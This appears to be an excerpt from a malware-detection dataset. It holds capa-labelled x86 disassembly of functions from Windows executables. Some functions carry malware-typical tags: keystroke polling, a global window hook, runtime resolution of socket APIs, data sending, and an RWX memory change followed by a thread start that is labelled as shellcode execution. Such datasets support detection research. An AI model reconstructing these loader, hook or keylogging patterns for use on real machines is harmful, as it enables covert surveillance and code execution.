joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4443a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4443e0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4443c1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4443d0
or bl, 4
test esi, 0x20000000
je 0x4443db
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44aaa4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44aab6
add esp, 0xfffffff0
call fcn.00403e3c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419f68
mov eax, dword [0x45f318]
mov dword [eax + 4], ebx
mov dword [eax], 0x44ae48
mov eax, dword [0x45f324]
mov dword [eax + 4], ebx
mov dword [eax], 0x44ae54
mov eax, ebx
call fcn.0044ae60
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41220c]
call fcn.00403aec
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41220c]
call fcn.00403aec
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41220c]
call fcn.00403aec
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41220c]
call fcn.00403aec
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41220c]
call fcn.00403aec
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x447278
push eax
push 0
push 0
mov eax, dword [0x45f49c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41b994]
call fcn.0041cdfc
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41b994]
call fcn.0041cdfc
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41b994]
call fcn.0041cdfc
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044b364
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44b1e4
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44b1e4
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44b1e4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44abf3
call fcn.00403e94
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44afc8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44b173
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44b154
mov dl, 1
mov eax, dword [0x412628]
call fcn.00403aec
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004048ac
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44b143
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00438c34
test al, al
je 0x44b136
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44b184
lea eax, [ebp - 0x254]
call fcn.004095f0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44b136
xor eax, eax
push ebp
push 0x44b12f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44b1bc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44b118
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404b1c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44b118
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404b1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b136
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44b039
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416104
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b17a
lea eax, [ebp - 0x260]
call fcn.004048ac
ret

Function at 0x44bb04
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x460bb0]
cmp byte [eax + 0xa5], 0
jne 0x44bb75
cmp dword [0x460bc8], 0
jne 0x44bb36
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44bac0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x460bc8], eax
cmp dword [0x460bc4], 0
jne 0x44bb51
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x460bc4], eax
cmp dword [0x460bcc], 0
jne 0x44bb75
push esp
push 0
push 0
push 0x44ba64
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x460bcc], eax
pop edx
ret
Function at 0x44c208
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x460bb0]
cmp dword [eax + 0x30], 0
je 0x44c2b2
cmp dword [ebx + 0x94], 0
jne 0x44c2ac
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44c198
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44c2ac
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44c272
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44c2ac
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414574
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44c281
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44ce10
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44ce45
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040499c
jmp 0x44ce52
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404900
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44df64
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44dfa5
mov eax, esi
call fcn.004343f8
test al, al
je 0x44dfa5
mov eax, dword [ebx + 0x84]
call fcn.00434198
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44dfa5
push 0
mov eax, dword [ebx + 0x84]
call fcn.00434198
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x44eee8
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 4], 5
ja 0x44ef14
cmp dword [esp + 4], 5
jne 0x44ef10
cmp dword [esp + 8], 1
jae 0x44ef14
xor eax, eax
jmp 0x44ef16
mov al, 1
mov byte [0x460be8], al
add esp, 0x94
ret
Function at 0x45caa0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
xor edx, edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45cb90
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
mov edx, 0x104
call fcn.00407314
lea eax, [ebp - 0x105]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
cmp byte [ebp - 0x104], 0x3a
jne 0x45cb2e
lea eax, [ebp - 0x110]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00404b1c
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x10c]
call fcn.004087bc
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.0040cc08
jmp 0x45cb72
lea eax, [ebp - 0x105]
mov edx, 0x105
call fcn.00407314
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00404b1c
mov eax, dword [ebp - 0x114]
mov edx, ebx
call fcn.0040cc08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45cb97
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.004048d0
ret
Function at 0x4042f0
Capabilities:
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x4204fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
push edi
push 0
call fcn.00405945
push eax
call fcn.00405916
push 0x138580
call fcn.0041b100
add esp, 0xc
mov dword [esp + 8], eax
test eax, eax
mov dword [esp + 0x20], 0
je 0x40433f
mov ecx, eax
call fcn.00404870
mov esi, eax
jmp 0x404341
xor esi, esi
lea eax, [esp + 0xc]
push 0xa
push eax
mov dword [esp + 0x28], 0xffffffff
call fcn.00404290
add esp, 8
mov ecx, esi
call fcn.00404920
test eax, eax
je 0x404376
mov edx, dword [esi + 8]
push 0
lea ecx, [esp + 0x10]
push 0xa
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esi + 0x9c2d0]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x404394
push 0x64
call edi
mov eax, dword [esi + 0x9c2d0]
test eax, eax
je 0x404386
push 0xffffffffffffffff
call edi
push 0x186a0
call edi
pop edi
mov eax, 1
mov ecx, dword [esp + 0x14]
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x10

Function at 0x404770
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.KERNEL32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4047cd
push str.CreateEventA
push edi
call esi
push str.ResetEvent
push edi
mov dword [0x42e514], eax
call esi
push str.WaitForSingleObject
push edi
mov dword [0x42e510], eax
call esi
push str.CreateThread
push edi
mov dword [0x42e50c], eax
call esi
push str.VirtualAlloc
push edi
mov dword [0x42e508], eax
call esi
mov dword [0x42e504], eax
push str.Ws2_32.dll
call ebx
mov edi, eax
test edi, edi
je 0x404835
push str.WSAStartup
push edi
call esi
push str.WSACleanup
push edi
mov dword [0x42e4fc], eax
call esi
push str.socket
push edi
mov dword [0x42e4f8], eax
call esi
push str.closesocket
push edi
mov dword [0x42e4f4], eax
call esi
push str.connect
push edi
mov dword [0x42e4f0], eax
call esi
push str.recv
push edi
mov dword [0x42e4ec], eax
call esi
push str.gethostbyname
push edi
mov dword [0x42e4e8], eax
call esi
mov dword [0x42e500], eax
push str.msvcrt.dll
call ebx
test eax, eax
je 0x40484d
push str.memcpy
push eax
call esi
mov dword [0x42e4e4], eax
push str.USER32.dll
call ebx
test eax, eax
je 0x404865
push str.send
push eax
call esi
mov dword [0x42e4e0], eax
pop edi
pop esi
pop ebx
ret

Function at 0x404920
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x120
lea eax, [esp + 0x20]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0xff
push eax
push 0xffffffffffffffff
push 0x42962e
push 0
mov esi, ecx
push 0
call edi
push 0x42962e
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
push 0
lea ecx, [esp + 0x10]
push 0x1e
push ecx
push 0xffffffffffffffff
push str.14992
push 0
push 0
call edi
lea edx, [esp + 8]
lea eax, [esp + 0x28]
push edx
push eax
mov ecx, esi
call fcn.00404990
pop edi
pop esi
add esp, 0x120
ret
Function at 0x404bc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
mov eax, dword [0x42a8b0]
push esi
push edi
mov edi, ecx
push eax
call fcn.00405aef
mov esi, eax
add esp, 4
test esi, esi
jne 0x404bdd
pop edi
pop esi
pop ecx
ret
mov ecx, dword [0x42a8b0]
add edi, 0x9c2d4
push ecx
push edi
push esi
call fcn.00404740
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x40
push 0x9c2ac
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push esi
push esi
push 0
push 0
call dword [0x42e508]
pop edi
mov eax, 1
pop esi
pop ecx
ret
Function at 0x415160
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00405ac0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41522b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41522b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4151de
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x4151e9
or bh, 8
and edi, 0x8000000
je 0x415204
mov eax, dword [0x43245c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41522b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415600
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41562b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41564f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41566a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x4187ec
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x418824
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041b0c5
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0041b09c
jmp 0x418830
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x419df5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x419e37
call fcn.0041f0ee
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x419e37
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x419e2e
xor eax, eax
jmp 0x419e3f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00419e45
pop edi
pop esi
pop ebx
ret 4
Function at 0x401e80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4716e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
push esi
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0x45c9bc
push eax
lea eax, [ebp - 8]
push eax
call fcn.0041718f
mov edx, dword [ebp - 8]
add esp, 0xc
test edx, edx
jne 0x401eba
or esi, 0xffffffff
jmp 0x401ee5
mov ecx, dword [ebp + 0x38]
test ecx, ecx
cmovs ecx, dword [ebp + 0x30]
cmp dword [ebp + 0x34], 0x10
push edx
push ecx
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 1
push eax
call fcn.00417a4e
push dword [ebp - 8]
mov esi, eax
call fcn.00417054
add esp, 0x14
cmp dword [ebp + 0x1c], 0x10
jb 0x401ef6
push dword [ebp + 8]
call fcn.0041572d
add esp, 4
cmp dword [ebp + 0x34], 0x10
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
jb 0x401f19
push dword [ebp + 0x20]
call fcn.0041572d
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004163f4
mov esp, ebp
pop ebp
ret

Function at 0x401f30
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4440f6
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x4716e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp byte [ebp - 0x114], 0
jne 0x401f81
xor ecx, ecx
jmp 0x401f99
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f90
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
mov ecx, esi
call fcn.004015c0
push 0x473ac0
lea eax, [ebp - 0x144]
push 0x5c
push eax
call fcn.00401d20
push 0x5c
push eax
lea eax, [ebp - 0x12c]
push eax
mov dword [ebp - 4], 0
call fcn.00401bb0
add esp, 0x18
push 0xffffffffffffffff
push 0
push eax
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.00402680
cmp dword [ebp - 0x118], 0x10
jb 0x401ffb
push dword [ebp - 0x12c]
call fcn.0041572d
add esp, 4
cmp dword [ebp - 0x130], 0x10
mov dword [ebp - 0x118], 0xf
mov dword [ebp - 0x11c], 0
mov byte [ebp - 0x12c], 0
jb 0x40202d
push dword [ebp - 0x144]
call fcn.0041572d
add esp, 4
cmp dword [esi + 0x14], 0x10
jb 0x402037
mov eax, dword [esi]
jmp 0x402039
mov eax, esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [esi + 0x14], 0x10
jb 0x40204a
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40205e
test al, 0x10
je 0x40205e
mov al, 1
jmp 0x402060
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004163f4
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne bl
cmp dword [ebp + 0x1c], 0x10
jb 0x4020ad
push dword [ebp + 8]
call fcn.0041572d
add esp, 4
mov al, bl
pop ebx
pop ebp
ret

Function at 0x402290
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x444170
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x4716e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0
push eax
mov dword [ebp - 4], 1
call fcn.004048b0
mov edi, eax
lea eax, [ebp - 0x268]
push eax
push 0xffffffffffffffff
push edi
call fcn.00404780
mov ebx, dword [ebp - 0x268]
add esp, 0x14
xor esi, esi
test ebx, ebx
jle 0x402342
lea eax, [ebp - 0x13c]
push eax
push esi
push edi
call fcn.00404780
lea eax, [ebp - 0x138]
push eax
push esi
push edi
call fcn.004049e0
add esp, 0x18
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc esi
cmp esi, ebx
jl 0x4022f8
push edi
call fcn.00403f10
add esp, 4
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xffffffffffffffff
push 0
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x26c], 0xf
mov dword [ebp - 0x270], 0
mov byte [ebp - 0x280], 0
call fcn.00401490
cmp dword [ebp - 0x26c], 0x10
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne bl
cmp dword [ebp - 0x26c], 0x10
jb 0x4023c3
push dword [ebp - 0x280]
call fcn.0041572d
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x26c], 0xf
mov dword [ebp - 0x270], 0
mov byte [ebp - 0x280], 0
jb 0x4023ef
push dword [ebp + 8]
call fcn.0041572d
add esp, 4
cmp dword [ebp + 0x34], 0x10
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
jb 0x402412
push dword [ebp + 0x20]
call fcn.0041572d
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004163f4
mov esp, ebp
pop ebp
ret